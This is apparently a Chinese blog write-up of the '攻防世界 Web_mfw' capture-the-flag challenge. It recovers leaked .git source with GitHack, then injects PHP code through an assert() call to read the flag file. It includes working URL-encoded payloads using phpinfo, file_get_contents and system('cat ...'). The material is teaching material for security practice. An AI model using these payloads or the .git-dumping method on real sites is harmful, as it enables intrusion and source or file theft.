shacker_shen

导航

攻防世界Web_mfw

一、git源码泄露

【实验原理】

git源码泄露,命令执行

【实验目的】

了解git源码泄露的处理方法

 

二、题目:

 

 

  1.发现没啥突破点,打开页面源码查看一下。之前都是右键查看源码,现在又get一个知识点view-source:http://111.200.241.244:56504/也能查看源码。

 

 

    2.得到?page=flag的信息。尝试访问一下,发现没有反应。

   

 

  3.发现这条路不通,重新找线索,进入About页面,发现使用Git + PHP + Bootstrap架构。

  

 

 

   4.查看一下有没有Git源码泄露,先用disrearch扫描一下目录。发现存在Git源码泄露漏洞。

  

 

 

 

    5.使用 GitHack ( https://github.com/lijiejie/GitHack )工具,直接用git clone下载。

   

  用法都一样,不会就查看帮助文档。

  

  6.python2 GitHack.py http://111.200.241.244:56504/.git/ 已经下载好了,直接查看。

  

 

   7.发现存在templates/flag.php ,直接查看,发现没有内容。

   

 

  8.打开index.php查看一下源码,进行代码审计。

 

<?php

if (isset($_GET['page'])) {
        $page = $_GET['page'];
} else {
        $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

代码审计得:

GET传page参数没有做过滤,所以我们可以进行命令执行漏洞。  

assert() 检查一个断言是否为 false,assert()函数会将括号中的字符当成代码来执行,并返回true或false.
strpos() 函数查找字符串在另一字符串中第一次出现的位置。如果没有找到则返回False。
file_exists() 函数检查文件或目录是否存在。

利用assert特性
bool assert(mixed $assertion[,string $description]) 如果assertion是字符串,他会被assert()当做php代码执行。

思路是通过可控变量file传入恶意参数,构造闭合 file_exists(),使assert()执行恶意代码。

构造file语句,')or phpinfo();#   此处是闭合file_exists()函数 效果如下:

assert("file_exists('') or phpinfo();#')")   执行phpinfo()代码。


?page=') or phpinfo();#   记得需要url编码。

结果如下:

 

既然能够进行命令执行,我们需要获得的内容是templates/flag.php 构造file语句:

') or print_r(file_get_contents('templates/flag.php'));#     

')%20or%20print_r(file_get_contents('templates%2fflag.php'))%3b%23    

url编码后输入view-source:http://111.200.241.244:57130/?page=%27)%20or%20print_r(file_get_contents(%27templates%2fflag.php%27))%3b%23

 

=====================================================

  另外解法:

构造payload思路:

 

 

断言执行,同时也执行了system命令。

 

 构造?page='.system("cat ./tempates/flag.php").'  进行url编码后输入,同样可以获得flag.

 

 

 =====================================================================================================

总结:

 

git源码泄露

 

当在一个空目录执行 git init 时,Git 会创建一个 .git 目录。 这个目录包含所有的 Git 存储和操作的对象。 如果想备份或复制一个版本库,只需把这个目录拷贝至另一处就可以了

 

比如某个网站存在.git文件泄露,可以:

http://www.baidu.com/.git

 

利用方式: github上的githack可以把整个.git备份的文件下载下来。它能解析 .git/index 文件,并找到工程中所有的:文件名和文件 sha1,然后去 .git/objects/ 文件夹下下载对应的文件,通过 zlib 解压文件,按原始的目录结构写入源代码

 

利用assert特性
bool assert(mixed $assertion[,string $description]) 如果assertion是字符串,他会被assert()当做php代码执行。

思路是通过可控变量file传入恶意参数,构造闭合 file_exists(),使assert()执行恶意代码。


 

posted on 2022-02-28 17:58  shacker_shen  阅读(92)  评论(0编辑  收藏  举报